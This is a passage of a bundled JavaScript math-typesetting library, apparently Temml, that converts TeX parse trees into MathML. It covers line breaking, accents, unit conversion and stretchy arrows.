2014 * each <mrow> ends in a binary or relational operator.
2015 *
2016 * An option is for soft line breaks before an "=" sign. That changes the <mrow>s.
2017 *
2018 * Soft line breaks will not work in Chromium and Safari, only Firefox.
2019 *
2020 * Hopefully browsers will someday do their own linebreaking and we will be able to delete
2021 * much of this module.
2022 */
2023
2024const openDelims = "([{⌊⌈⟨⟮⎰⟦⦃";
2025const closeDelims = ")]}⌋⌉⟩⟯⎱⟦⦄";
2026
2027function setLineBreaks(expression, wrapMode, isDisplayMode) {
2028 const mtrs = [];
2029 let mrows = [];
2030 let block = [];
2031 let numTopLevelEquals = 0;
2032 let i = 0;
2033 let level = 0;
2034 while (i < expression.length) {
2035 while (expression[i] instanceof DocumentFragment) {
2036 expression.splice(i, 1, ...expression[i].children); // Expand the fragment.
2037 }
2038 const node = expression[i];
2039 if (node.attributes && node.attributes.linebreak &&
2040 node.attributes.linebreak === "newline") {
2041 // A hard line break. Create a <mtr> for the current block.
2042 if (block.length > 0) {
2043 mrows.push(new mathMLTree.MathNode("mrow", block));
2044 }
2045 mrows.push(node);
2046 block = [];
2047 const mtd = new mathMLTree.MathNode("mtd", mrows);
2048 mtd.style.textAlign = "left";
2049 mtrs.push(new mathMLTree.MathNode("mtr", [mtd]));
2050 mrows = [];
2051 i += 1;
2052 continue
2053 }
2054 block.push(node);
2055 if (node.type && node.type === "mo" && node.children.length === 1 &&
2056 !Object.hasOwn(node.attributes, "movablelimits")) {
2057 const ch = node.children[0].text;
2058 if (openDelims.indexOf(ch) > -1) {
2059 level += 1;
2060 } else if (closeDelims.indexOf(ch) > -1) {
2061 level -= 1;
2062 } else if (level === 0 && wrapMode === "=" && ch === "=") {
2063 numTopLevelEquals += 1;
2064 if (numTopLevelEquals > 1) {
2065 block.pop();
2066 // Start a new block. (Insert a soft linebreak.)
2067 const element = new mathMLTree.MathNode("mrow", block);
2068 mrows.push(element);
2069 block = [node];
2070 }
2071 } else if (level === 0 && wrapMode === "tex" && ch !== "∇") {
2072 // Check if the following node is a \nobreak text node, e.g. "~""
2073 const next = i < expression.length - 1 ? expression[i + 1] : null;
2074 let glueIsFreeOfNobreak = true;
2075 if (
2076 !(
2077 next &&
2078 next.type === "mtext" &&
2079 next.attributes.linebreak &&
2080 next.attributes.linebreak === "nobreak"
2081 )
2082 ) {
2083 // We may need to start a new block.
2084 // First, put any post-operator glue on same line as operator.
2085 for (let j = i + 1; j < expression.length; j++) {
2086 const nd = expression[j];
2087 if (
2088 nd.type &&
2089 nd.type === "mspace" &&
2090 !(nd.attributes.linebreak && nd.attributes.linebreak === "newline")
2091 ) {
2092 block.push(nd);
2093 i += 1;
2094 if (
2095 nd.attributes &&
2096 nd.attributes.linebreak &&
2097 nd.attributes.linebreak === "nobreak"
2098 ) {
2099 glueIsFreeOfNobreak = false;
2100 }
2101 } else {
2102 break;
2103 }
2104 }
2105 }
2106 if (glueIsFreeOfNobreak) {
2107 // Start a new block. (Insert a soft linebreak.)
2108 const element = new mathMLTree.MathNode("mrow", block);
2109 mrows.push(element);
2110 block = [];
2111 }
2112 }
2113 }
2114 i += 1;
2115 }
2116 if (block.length > 0) {
2117 const element = new mathMLTree.MathNode("mrow", block);
2118 mrows.push(element);
2119 }
2120 if (mtrs.length > 0) {
2121 const mtd = new mathMLTree.MathNode("mtd", mrows);
2122 mtd.style.textAlign = "left";
2123 const mtr = new mathMLTree.MathNode("mtr", [mtd]);
2124 mtrs.push(mtr);
2125 const mtable = new mathMLTree.MathNode("mtable", mtrs);
2126 if (!isDisplayMode) {
2127 mtable.setAttribute("columnalign", "left");
2128 mtable.setAttribute("rowspacing", "0em");
2129 }
2130 return mtable
2131 }
2132 return mathMLTree.newDocumentFragment(mrows);
2133}
2134
2135/**
2136 * This file converts a parse tree into a corresponding MathML tree. The main
2137 * entry point is the `buildMathML` function, which takes a parse tree from the
2138 * parser.
2139 */
2140
2141
2142/**
2143 * Takes a symbol and converts it into a MathML text node after performing
2144 * optional replacement from symbols.js.
2145 */
2146const makeText = function(text, mode, style) {
2147 if (
2148 symbols[mode][text] &&
2149 symbols[mode][text].replace &&
2150 text.charCodeAt(0) !== 0xd835 &&
2151 !(
2152 Object.prototype.hasOwnProperty.call(ligatures, text) &&
2153 style &&
2154 ((style.fontFamily && style.fontFamily.slice(4, 6) === "tt") ||
2155 (style.font && style.font.slice(4, 6) === "tt"))
2156 )
2157 ) {
2158 text = symbols[mode][text].replace;
2159 }
2160
2161 return new mathMLTree.TextNode(text);
2162};
2163
2164const copyChar = (newRow, child) => {
2165 if (newRow.children.length === 0 ||
2166 newRow.children[newRow.children.length - 1].type !== "mtext") {
2167 const mtext = new mathMLTree.MathNode(
2168 "mtext",
2169 [new mathMLTree.TextNode(child.children[0].text)]
2170 );
2171 newRow.children.push(mtext);
2172 } else {
2173 newRow.children[newRow.children.length - 1].children[0].text += child.children[0].text;
2174 }
2175};
2176
2177const consolidateText = mrow => {
2178 // If possible, consolidate adjacent <mtext> elements into a single element.
2179 if (mrow.type !== "mrow" && mrow.type !== "mstyle") { return mrow }
2180 if (mrow.children.length === 0) { return mrow } // empty group, e.g., \text{}
2181 const newRow = new mathMLTree.MathNode("mrow");
2182 for (let i = 0; i < mrow.children.length; i++) {
2183 const child = mrow.children[i];
2184 if (child.type === "mtext" && Object.keys(child.attributes).length === 0) {
2185 copyChar(newRow, child);
2186 } else if (child.type === "mrow") {
2187 // We'll also check the children of an mrow. One level only. No recursion.
2188 let canConsolidate = true;
2189 for (let j = 0; j < child.children.length; j++) {
2190 const grandChild = child.children[j];
2191 if (grandChild.type !== "mtext" || Object.keys(child.attributes).length !== 0) {
2192 canConsolidate = false;
2193 break
2194 }
2195 }
2196 if (canConsolidate) {
2197 for (let j = 0; j < child.children.length; j++) {
2198 const grandChild = child.children[j];
2199 copyChar(newRow, grandChild);
2200 }
2201 } else {
2202 newRow.children.push(child);
2203 }
2204 } else {
2205 newRow.children.push(child);
2206 }
2207 }
2208 for (let i = 0; i < newRow.children.length; i++) {
2209 if (newRow.children[i].type === "mtext") {
2210 const mtext = newRow.children[i];
2211 // Firefox does not render a space at either end of an <mtext> string.
2212 // To get proper rendering, we replace leading or trailing spaces with no-break spaces.
2213 if (mtext.children[0].text.charAt(0) === " ") {
2214 mtext.children[0].text = "\u00a0" + mtext.children[0].text.slice(1);
2215 }
2216 const L = mtext.children[0].text.length;
2217 if (L > 0 && mtext.children[0].text.charAt(L - 1) === " ") {
2218 mtext.children[0].text = mtext.children[0].text.slice(0, -1) + "\u00a0";
2219 }
2220 for (const [key, value] of Object.entries(mrow.attributes)) {
2221 mtext.attributes[key] = value;
2222 }
2223 }
2224 }
2225 if (newRow.children.length === 1 && newRow.children[0].type === "mtext") {
2226 return newRow.children[0]; // A consolidated <mtext>
2227 } else {
2228 return newRow
2229 }
2230};
2231
2232/**
2233 * Wrap the given array of nodes in an <mrow> node if needed, i.e.,
2234 * unless the array has length 1. Always returns a single node.
2235 */
2236const makeRow = function(body, semisimple = false) {
2237 if (body.length === 1 && !(body[0] instanceof DocumentFragment)) {
2238 return body[0];
2239 } else if (!semisimple) {
2240 // Suppress spacing on <mo> nodes at both ends of the row.
2241 if (body[0] instanceof MathNode && body[0].type === "mo" && !body[0].attributes.fence) {
2242 body[0].attributes.lspace = "0em";
2243 body[0].attributes.rspace = "0em";
2244 }
2245 const end = body.length - 1;
2246 if (body[end] instanceof MathNode && body[end].type === "mo" && !body[end].attributes.fence) {
2247 body[end].attributes.lspace = "0em";
2248 body[end].attributes.rspace = "0em";
2249 }
2250 }
2251 return new mathMLTree.MathNode("mrow", body);
2252};
2253
2254/**
2255 * Check for <mi>.</mi> which is how a dot renders in MathML,
2256 * or <mo separator="true" lspace="0em" rspace="0em">,</mo>
2257 * which is how a braced comma {,} renders in MathML
2258 */
2259function isNumberPunctuation(group) {
2260 if (!group) {
2261 return false
2262 }
2263 if (group.type === 'mi' && group.children.length === 1) {
2264 const child = group.children[0];
2265 return child instanceof TextNode && child.text === '.'
2266 } else if (group.type === "mtext" && group.children.length === 1) {
2267 const child = group.children[0];
2268 return child instanceof TextNode && child.text === '\u2008' // punctuation space
2269 } else if (group.type === 'mo' && group.children.length === 1 &&
2270 group.getAttribute('separator') === 'true' &&
2271 group.getAttribute('lspace') === '0em' &&
2272 group.getAttribute('rspace') === '0em') {
2273 const child = group.children[0];
2274 return child instanceof TextNode && child.text === ','
2275 } else {
2276 return false
2277 }
2278}
2279const isComma = (expression, i) => {
2280 const node = expression[i];
2281 const followingNode = expression[i + 1];
2282 return (node.type === "atom" && node.text === ",") &&
2283 // Don't consolidate if there is a space after the comma.
2284 node.loc && followingNode.loc && node.loc.end === followingNode.loc.start
2285};
2286
2287const isRel = item => {
2288 return (item.type === "atom" && item.family === "rel") ||
2289 (item.type === "mclass" && item.mclass === "mrel")
2290};
2291
2292/**
2293 * Takes a list of nodes, builds them, and returns a list of the generated
2294 * MathML nodes. Also do a couple chores along the way:
2295 * (1) Suppress spacing when an author wraps an operator w/braces, as in {=}.
2296 * (2) Suppress spacing between two adjacent relations.
2297 */
2298const buildExpression = function(expression, style, semisimple = false) {
2299 if (!semisimple && expression.length === 1) {
2300 const group = buildGroup$1(expression[0], style);
2301 if (group instanceof MathNode && group.type === "mo") {
2302 // When TeX writers want to suppress spacing on an operator,
2303 // they often put the operator by itself inside braces.
2304 group.setAttribute("lspace", "0em");
2305 group.setAttribute("rspace", "0em");
2306 }
2307 return [group];
2308 }
2309
2310 const groups = [];
2311 const groupArray = [];
2312 let lastGroup;
2313 for (let i = 0; i < expression.length; i++) {
2314 groupArray.push(buildGroup$1(expression[i], style));
2315 }
2316
2317 for (let i = 0; i < groupArray.length; i++) {
2318 const group = groupArray[i];
2319
2320 // Suppress spacing between adjacent relations
2321 if (i < expression.length - 1 && isRel(expression[i]) && isRel(expression[i + 1])) {
2322 group.setAttribute("rspace", "0em");
2323 }
2324 if (i > 0 && isRel(expression[i]) && isRel(expression[i - 1])) {
2325 group.setAttribute("lspace", "0em");
2326 }
2327
2328 // Concatenate numbers
2329 if (group.type === 'mn' && lastGroup && lastGroup.type === 'mn') {
2330 // Concatenate <mn>...</mn> followed by <mi>.</mi>
2331 lastGroup.children.push(...group.children);
2332 continue
2333 } else if (isNumberPunctuation(group) && lastGroup && lastGroup.type === 'mn') {
2334 // Concatenate <mn>...</mn> followed by <mi>.</mi>
2335 lastGroup.children.push(...group.children);
2336 continue
2337 } else if (lastGroup && lastGroup.type === "mn" && i < groupArray.length - 1 &&
2338 groupArray[i + 1].type === "mn" && isComma(expression, i)) {
2339 lastGroup.children.push(...group.children);
2340 continue
2341 } else if (group.type === 'mn' && isNumberPunctuation(lastGroup)) {
2342 // Concatenate <mi>.</mi> followed by <mn>...</mn>
2343 group.children = [...lastGroup.children, ...group.children];
2344 groups.pop();
2345 } else if ((group.type === 'msup' || group.type === 'msub') &&
2346 group.children.length >= 1 && lastGroup &&
2347 (lastGroup.type === 'mn' || isNumberPunctuation(lastGroup))) {
2348 // Put preceding <mn>...</mn> or <mi>.</mi> inside base of
2349 // <msup><mn>...base...</mn>...exponent...</msup> (or <msub>)
2350 const base = group.children[0];
2351 if (base instanceof MathNode && base.type === 'mn' && lastGroup) {
2352 base.children = [...lastGroup.children, ...base.children];
2353 groups.pop();
2354 }
2355 }
2356 groups.push(group);
2357 lastGroup = group;
2358 }
2359 return groups
2360};
2361
2362/**
2363 * Equivalent to buildExpression, but wraps the elements in an <mrow>
2364 * if there's more than one. Returns a single node instead of an array.
2365 */
2366const buildExpressionRow = function(expression, style, semisimple = false) {
2367 return makeRow(buildExpression(expression, style, semisimple), semisimple);
2368};
2369
2370/**
2371 * Takes a group from the parser and calls the appropriate groupBuilders function
2372 * on it to produce a MathML node.
2373 */
2374const buildGroup$1 = function(group, style) {
2375 if (!group) {
2376 return new mathMLTree.MathNode("mrow");
2377 }
2378
2379 if (_mathmlGroupBuilders[group.type]) {
2380 // Call the groupBuilders function
2381 const result = _mathmlGroupBuilders[group.type](group, style);
2382 return result;
2383 } else {
2384 throw new ParseError("Got group of unknown type: '" + group.type + "'");
2385 }
2386};
2387
2388const glue$1 = _ => {
2389 return new mathMLTree.MathNode("mtd", [], [], { padding: "0", width: "50%" })
2390};
2391
2392const labelContainers = ["mrow", "mtd", "mtable", "mtr"];
2393const getLabel = parent => {
2394 for (const node of parent.children) {
2395 if (node.type && labelContainers.includes(node.type)) {
2396 if (node.classes && node.classes[0] === "tml-label") {
2397 const label = node.label;
2398 return label
2399 } else {
2400 const label = getLabel(node);
2401 if (label) { return label }
2402 }
2403 } else if (!node.type) {
2404 const label = getLabel(node);
2405 if (label) { return label }
2406 }
2407 }
2408};
2409
2410const taggedExpression = (expression, tag, style, leqno) => {
2411 tag = buildExpressionRow(tag[0].body, style);
2412 tag = consolidateText(tag);
2413 tag.classes.push("tml-tag");
2414
2415 const label = getLabel(expression); // from a \label{} function.
2416 expression = new mathMLTree.MathNode("mtd", [expression]);
2417 const rowArray = [glue$1(), expression, glue$1()];
2418 rowArray[leqno ? 0 : 2].classes.push(leqno ? "tml-left" : "tml-right");
2419 rowArray[leqno ? 0 : 2].children.push(tag);
2420 const mtr = new mathMLTree.MathNode("mtr", rowArray, ["tml-tageqn"]);
2421 if (label) { mtr.setAttribute("id", label); }
2422 const table = new mathMLTree.MathNode("mtable", [mtr]);
2423 table.style.width = "100%";
2424 table.setAttribute("displaystyle", "true");
2425 return table
2426};
2427
2428/**
2429 * Takes a full parse tree and settings and builds a MathML representation of
2430 * it.
2431 */
2432function buildMathML(tree, texExpression, style, settings) {
2433 // Strip off outer tag wrapper for processing below.
2434 let tag = null;
2435 if (tree.length === 1 && tree[0].type === "tag") {
2436 tag = tree[0].tag;
2437 tree = tree[0].body;
2438 }
2439
2440 const expression = buildExpression(tree, style);
2441
2442 if (expression.length === 1 && expression[0] instanceof AnchorNode) {
2443 return expression[0]
2444 }
2445
2446 const wrap = (settings.displayMode || settings.annotate) ? "none" : settings.wrap;
2447
2448 const n1 = expression.length === 0 ? null : expression[0];
2449 let wrapper = expression.length === 1 && tag === null && (n1 instanceof MathNode)
2450 ? expression[0]
2451 : setLineBreaks(expression, wrap, settings.displayMode);
2452
2453 if (tag) {
2454 wrapper = taggedExpression(wrapper, tag, style, settings.leqno);
2455 }
2456
2457 if (settings.annotate) {
2458 // Build a TeX annotation of the source
2459 const annotation = new mathMLTree.MathNode(
2460 "annotation", [new mathMLTree.TextNode(texExpression)]);
2461 annotation.setAttribute("encoding", "application/x-tex");
2462 wrapper = new mathMLTree.MathNode("semantics", [wrapper, annotation]);
2463 }
2464
2465 const math = new mathMLTree.MathNode("math", [wrapper]);
2466
2467 if (settings.xml) {
2468 math.setAttribute("xmlns", "http://www.w3.org/1998/Math/MathML");
2469 }
2470 if (wrapper.style.width) {
2471 math.style.width = "100%";
2472 }
2473 if (settings.displayMode) {
2474 math.setAttribute("display", "block");
2475 math.style.display = "block math"; // necessary in Chromium.
2476 // Firefox and Safari do not recognize display: "block math".
2477 // Set a class so that the CSS file can set display: block.
2478 math.classes = ["tml-display"];
2479 }
2480 return math;
2481}
2482
2483const smalls = "acegıȷmnopqrsuvwxyzαγεηικμνοπρςστυχωϕ𝐚𝐜𝐞𝐠𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐮𝐯𝐰𝐱𝐲𝐳";
2484const talls = "ABCDEFGHIJKLMNOPQRSTUVWXYZbdfhkltΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩβδλζφθψ"
2485 + "𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙𝐛𝐝𝐟𝐡𝐤𝐥𝐭";
2486const longSmalls = new Set(["\\alpha", "\\gamma", "\\delta", "\\epsilon", "\\eta", "\\iota",
2487 "\\kappa", "\\mu", "\\nu", "\\pi", "\\rho", "\\sigma", "\\tau", "\\upsilon", "\\chi", "\\psi",
2488 "\\omega", "\\imath", "\\jmath"]);
2489const longTalls = new Set(["\\Gamma", "\\Delta", "\\Sigma", "\\Omega", "\\beta", "\\delta",
2490 "\\lambda", "\\theta", "\\psi"]);
2491
2492const mathmlBuilder$a = (group, style) => {
2493 const accentNode = group.isStretchy
2494 ? stretchy.accentNode(group)
2495 : new mathMLTree.MathNode("mo", [makeText(group.label, group.mode)]);
2496
2497 if (group.label === "\\vec") {
2498 accentNode.style.transform = "scale(0.75) translate(10%, 30%)";
2499 } else {
2500 accentNode.style.mathStyle = "normal";
2501 accentNode.style.mathDepth = "0";
2502 if (needWebkitShift.has(group.label) && utils.isCharacterBox(group.base)) {
2503 let shift = "";
2504 const ch = group.base.text;
2505 if (smalls.indexOf(ch) > -1 || longSmalls.has(ch)) { shift = "tml-xshift"; }
2506 if (talls.indexOf(ch) > -1 || longTalls.has(ch)) { shift = "tml-capshift"; }
2507 if (shift) { accentNode.classes.push(shift); }
2508 }
2509 }
2510 if (!group.isStretchy) {
2511 accentNode.setAttribute("stretchy", "false");
2512 }
2513
2514 const node = new mathMLTree.MathNode((group.label === "\\c" ? "munder" : "mover"),
2515 [buildGroup$1(group.base, style), accentNode]
2516 );
2517
2518 return node;
2519};
2520
2521const nonStretchyAccents = new Set([
2522 "\\acute",
2523 "\\grave",
2524 "\\ddot",
2525 "\\dddot",
2526 "\\ddddot",
2527 "\\tilde",
2528 "\\bar",
2529 "\\breve",
2530 "\\check",
2531 "\\hat",
2532 "\\vec",
2533 "\\dot",
2534 "\\mathring"
2535]);
2536
2537const needWebkitShift = new Set([
2538 "\\acute",
2539 "\\bar",
2540 "\\breve",
2541 "\\check",
2542 "\\dot",
2543 "\\ddot",
2544 "\\grave",
2545 "\\hat",
2546 "\\mathring",
2547 "\\'", "\\^", "\\~", "\\=", "\\u", "\\.", '\\"', "\\r", "\\H", "\\v"
2548]);
2549
2550const combiningChar = {
2551 "\\`": "\u0300",
2552 "\\'": "\u0301",
2553 "\\^": "\u0302",
2554 "\\~": "\u0303",
2555 "\\=": "\u0304",
2556 "\\u": "\u0306",
2557 "\\.": "\u0307",
2558 '\\"': "\u0308",
2559 "\\r": "\u030A",
2560 "\\H": "\u030B",
2561 "\\v": "\u030C"
2562};
2563
2564// Accents
2565defineFunction({
2566 type: "accent",
2567 names: [
2568 "\\acute",
2569 "\\grave",
2570 "\\ddot",
2571 "\\dddot",
2572 "\\ddddot",
2573 "\\tilde",
2574 "\\bar",
2575 "\\breve",
2576 "\\check",
2577 "\\hat",
2578 "\\vec",
2579 "\\dot",
2580 "\\mathring",
2581 "\\overparen",
2582 "\\widecheck",
2583 "\\widehat",
2584 "\\wideparen",
2585 "\\widetilde",
2586 "\\overrightarrow",
2587 "\\overleftarrow",
2588 "\\Overrightarrow",
2589 "\\overleftrightarrow",
2590 "\\overgroup",
2591 "\\overleftharpoon",
2592 "\\overrightharpoon"
2593 ],
2594 props: {
2595 numArgs: 1
2596 },
2597 handler: (context, args) => {
2598 const base = normalizeArgument(args[0]);
2599
2600 const isStretchy = !nonStretchyAccents.has(context.funcName);
2601
2602 return {
2603 type: "accent",
2604 mode: context.parser.mode,
2605 label: context.funcName,
2606 isStretchy: isStretchy,
2607 base: base
2608 };
2609 },
2610 mathmlBuilder: mathmlBuilder$a
2611});
2612
2613// Text-mode accents
2614defineFunction({
2615 type: "accent",
2616 names: ["\\'", "\\`", "\\^", "\\~", "\\=", "\\c", "\\u", "\\.", '\\"', "\\r", "\\H", "\\v"],
2617 props: {
2618 numArgs: 1,
2619 allowedInText: true,
2620 allowedInMath: true,
2621 argTypes: ["primitive"]
2622 },
2623 handler: (context, args) => {
2624 const base = normalizeArgument(args[0]);
2625 const mode = context.parser.mode;
2626
2627 if (mode === "math" && context.parser.settings.strict) {
2628 // LaTeX only writes a warning. It doesn't stop. We'll issue the same warning.
2629 // eslint-disable-next-line no-console
2630 console.log(`Temml parse error: Command ${context.funcName} is invalid in math mode.`);
2631 }
2632
2633 if (mode === "text" && base.text && base.text.length === 1
2634 && context.funcName in combiningChar && smalls.indexOf(base.text) > -1) {
2635 // Return a combining accent character
2636 return {
2637 type: "textord",
2638 mode: "text",
2639 text: base.text + combiningChar[context.funcName]
2640 }
2641 } else {
2642 // Build up the accent
2643 return {
2644 type: "accent",
2645 mode: mode,
2646 label: context.funcName,
2647 isStretchy: false,
2648 base: base
2649 }
2650 }
2651 },
2652 mathmlBuilder: mathmlBuilder$a
2653});
2654
2655defineFunction({
2656 type: "accentUnder",
2657 names: [
2658 "\\underleftarrow",
2659 "\\underrightarrow",
2660 "\\underleftrightarrow",
2661 "\\undergroup",
2662 "\\underparen",
2663 "\\utilde"
2664 ],
2665 props: {
2666 numArgs: 1
2667 },
2668 handler: ({ parser, funcName }, args) => {
2669 const base = args[0];
2670 return {
2671 type: "accentUnder",
2672 mode: parser.mode,
2673 label: funcName,
2674 base: base
2675 };
2676 },
2677 mathmlBuilder: (group, style) => {
2678 const accentNode = stretchy.accentNode(group);
2679 accentNode.style["math-depth"] = 0;
2680 const node = new mathMLTree.MathNode("munder", [
2681 buildGroup$1(group.base, style),
2682 accentNode
2683 ]);
2684 return node;
2685 }
2686});
2687
2688/**
2689 * This file does conversion between units. In particular, it provides
2690 * calculateSize to convert other units into CSS units.
2691 */
2692
2693
2694const ptPerUnit = {
2695 // Convert to CSS (Postscipt) points, not TeX points
2696 // https://en.wikibooks.org/wiki/LaTeX/Lengths and
2697 // https://tex.stackexchange.com/a/8263
2698 pt: 800 / 803, // convert TeX point to CSS (Postscript) point
2699 pc: (12 * 800) / 803, // pica
2700 dd: ((1238 / 1157) * 800) / 803, // didot
2701 cc: ((14856 / 1157) * 800) / 803, // cicero (12 didot)
2702 nd: ((685 / 642) * 800) / 803, // new didot
2703 nc: ((1370 / 107) * 800) / 803, // new cicero (12 new didot)
2704 sp: ((1 / 65536) * 800) / 803, // scaled point (TeX's internal smallest unit)
2705 mm: (25.4 / 72),
2706 cm: (2.54 / 72),
2707 in: (1 / 72),
2708 px: (96 / 72)
2709};
2710
2711/**
2712 * Determine whether the specified unit (either a string defining the unit
2713 * or a "size" parse node containing a unit field) is valid.
2714 */
2715const validUnits = [
2716 "em",
2717 "ex",
2718 "mu",
2719 "pt",
2720 "mm",
2721 "cm",
2722 "in",
2723 "px",
2724 "bp",
2725 "pc",
2726 "dd",
2727 "cc",
2728 "nd",
2729 "nc",
2730 "sp"
2731];
2732
2733const validUnit = function(unit) {
2734 if (typeof unit !== "string") {
2735 unit = unit.unit;
2736 }
2737 return validUnits.indexOf(unit) > -1
2738};
2739
2740const emScale = styleLevel => {
2741 const scriptLevel = Math.max(styleLevel - 1, 0);
2742 return [1, 0.7, 0.5][scriptLevel]
2743};
2744
2745/*
2746 * Convert a "size" parse node (with numeric "number" and string "unit" fields,
2747 * as parsed by functions.js argType "size") into a CSS value.
2748 */
2749const calculateSize = function(sizeValue, style) {
2750 let number = sizeValue.number;
2751 if (style.maxSize[0] < 0 && number > 0) {
2752 return { number: 0, unit: "em" }
2753 }
2754 const unit = sizeValue.unit;
2755 switch (unit) {
2756 case "mm":
2757 case "cm":
2758 case "in":
2759 case "px": {
2760 const numInCssPts = number * ptPerUnit[unit];
2761 if (numInCssPts > style.maxSize[1]) {
2762 return { number: style.maxSize[1], unit: "pt" }
2763 }
2764 return { number, unit }; // absolute CSS units.
2765 }
2766 case "em":
2767 case "ex": {
2768 // In TeX, em and ex do not change size in \scriptstyle.
2769 if (unit === "ex") { number *= 0.431; }
2770 number = Math.min(number / emScale(style.level), style.maxSize[0]);
2771 return { number: utils.round(number), unit: "em" };
2772 }
2773 case "bp": {
2774 if (number > style.maxSize[1]) { number = style.maxSize[1]; }
2775 return { number, unit: "pt" }; // TeX bp is a CSS pt. (1/72 inch).
2776 }
2777 case "pt":
2778 case "pc":
2779 case "dd":
2780 case "cc":
2781 case "nd":
2782 case "nc":
2783 case "sp": {
2784 number = Math.min(number * ptPerUnit[unit], style.maxSize[1]);
2785 return { number: utils.round(number), unit: "pt" }
2786 }
2787 case "mu": {
2788 number = Math.min(number / 18, style.maxSize[0]);
2789 return { number: utils.round(number), unit: "em" }
2790 }
2791 default:
2792 throw new ParseError("Invalid unit: '" + unit + "'")
2793 }
2794};
2795
2796// Helper functions
2797
2798const padding$2 = width => {
2799 const node = new mathMLTree.MathNode("mspace");
2800 node.setAttribute("width", width + "em");
2801 return node
2802};
2803
2804const paddedNode = (group, lspace = 0.3, rspace = 0, mustSmash = false) => {
2805 if (group == null && rspace === 0) { return padding$2(lspace) }
2806 const row = group ? [group] : [];
2807 if (lspace !== 0) { row.unshift(padding$2(lspace)); }
2808 if (rspace > 0) { row.push(padding$2(rspace)); }
2809 if (mustSmash) {
2810 // Used for the bottom arrow in a {CD} environment
2811 const mpadded = new mathMLTree.MathNode("mpadded", row);
2812 mpadded.setAttribute("height", "0");
2813 return mpadded
2814 } else {
2815 return new mathMLTree.MathNode("mrow", row)
2816 }
2817};
2818
2819const labelSize = (size, scriptLevel) => Number(size) / emScale(scriptLevel);
2820
2821const munderoverNode = (fName, body, below, style) => {
2822 const arrowNode = stretchy.mathMLnode(fName);
2823 // Is this the short part of a mhchem equilibrium arrow?
2824 const isEq = fName.slice(1, 3) === "eq";
2825 const minWidth = fName.charAt(1) === "x"
2826 ? "1.75" // mathtools extensible arrows are ≥ 1.75em long
2827 : fName.slice(2, 4) === "cd"
2828 ? "3.0" // cd package arrows
2829 : isEq
2830 ? "1.0" // The shorter harpoon of a mhchem equilibrium arrow
2831 : "2.0"; // other mhchem arrows
2832 // TODO: When Firefox supports minsize, use the next line.
2833 //arrowNode.setAttribute("minsize", String(minWidth) + "em")
2834 arrowNode.setAttribute("lspace", "0");
2835 arrowNode.setAttribute("rspace", (isEq ? "0.5em" : "0"));
2836
2837 // <munderover> upper and lower labels are set to scriptlevel by MathML
2838 // So we have to adjust our label dimensions accordingly.
2839 const labelStyle = style.withLevel(style.level < 2 ? 2 : 3);
2840 const minArrowWidth = labelSize(minWidth, labelStyle.level);
2841 // The dummyNode will be inside a <mover> inside a <mover>
2842 // So it will be at scriptlevel 3
2843 const dummyWidth = labelSize(minWidth, 3);
2844 const emptyLabel = paddedNode(null, minArrowWidth.toFixed(4), 0);
2845 const dummyNode = paddedNode(null, dummyWidth.toFixed(4), 0);
2846 // The arrow is a little longer than the label. Set a spacer length.
2847 const space = labelSize((isEq ? 0 : 0.3), labelStyle.level).toFixed(4);
2848 let upperNode;
2849 let lowerNode;
2850
2851 const gotUpper = (body && body.body &&
2852 // \hphantom visible content
2853 (body.body.body || body.body.length > 0));
2854 if (gotUpper) {
2855 let label = buildGroup$1(body, labelStyle);
2856 const mustSmash = (fName === "\\\\cdrightarrow" || fName === "\\\\cdleftarrow");
2857 label = paddedNode(label, space, space, mustSmash);
2858 // Since Firefox does not support minsize, stack a invisible node
2859 // on top of the label. Its width will serve as a min-width.
2860 // TODO: Refactor this after Firefox supports minsize.
2861 upperNode = new mathMLTree.MathNode("mover", [label, dummyNode]);
2862 }
2863 const gotLower = (below && below.body &&
2864 (below.body.body || below.body.length > 0));
2865 if (gotLower) {
2866 let label = buildGroup$1(below, labelStyle);
2867 label = paddedNode(label, space, space);
2868 lowerNode = new mathMLTree.MathNode("munder", [label, dummyNode]);
2869 }
2870
2871 let node;
2872 if (!gotUpper && !gotLower) {
2873 node = new mathMLTree.MathNode("mover", [arrowNode, emptyLabel]);
2874 } else if (gotUpper && gotLower) {
2875 node = new mathMLTree.MathNode("munderover", [arrowNode, lowerNode, upperNode]);
2876 } else if (gotUpper) {
2877 node = new mathMLTree.MathNode("mover", [arrowNode, upperNode]);
2878 } else {
2879 node = new mathMLTree.MathNode("munder", [arrowNode, lowerNode]);
2880 }
2881 if (minWidth === "3.0") { node.style.height = "1em"; } // CD environment
2882 node.setAttribute("accent", "false"); // Necessary for MS Word
2883 return node
2884};
2885
2886// Stretchy arrows with an optional argument
2887defineFunction({
2888 type: "xArrow",
2889 names: [
2890 "\\xleftarrow",
2891 "\\xrightarrow",
2892 "\\xLeftarrow",
2893 "\\xRightarrow",
2894 "\\xleftrightarrow",
2895 "\\xLeftrightarrow",
2896 "\\xhookleftarrow",
2897 "\\xhookrightarrow",
2898 "\\xmapsto",
2899 "\\xrightharpoondown",
2900 "\\xrightharpoonup",
2901 "\\xleftharpoondown",
2902 "\\xleftharpoonup",
2903 "\\xlongequal",
2904 "\\xtwoheadrightarrow",
2905 "\\xtwoheadleftarrow",
2906 // The next 5 functions are here only to support mhchem
2907 "\\yields",
2908 "\\yieldsLeft",
2909 "\\mesomerism",
2910 "\\longrightharpoonup",
2911 "\\longleftharpoondown",
2912 // The next 3 functions are here only to support the {CD} environment.
2913 "\\\\cdrightarrow",
2914 "\\\\cdleftarrow",
2915 "\\\\cdlongequal"
2916 ],
2917 props: {
2918 numArgs: 1,
2919 numOptionalArgs: 1
2920 },
2921 handler({ parser, funcName }, args, optArgs) {
2922 return {
2923 type: "xArrow",
2924 mode: parser.mode,
2925 name: funcName,
2926 body: args[0],
2927 below: optArgs[0]
2928 };
2929 },
2930 mathmlBuilder(group, style) {
2931 // Build the arrow and its labels.
2932 const node = munderoverNode(group.name, group.body, group.below, style);
2933 // Create operator spacing for a relation.
2934 const row = [node];
2935 row.unshift(padding$2(0.2778));
2936 row.push(padding$2(0.2778));
2937 return new mathMLTree.MathNode("mrow", row)
2938 }
2939});
2940
2941const arrowComponent = {
2942 "\\xtofrom": ["\\xrightarrow", "\\xleftarrow"],
2943 "\\xleftrightharpoons": ["\\xleftharpoonup", "\\xrightharpoondown"],
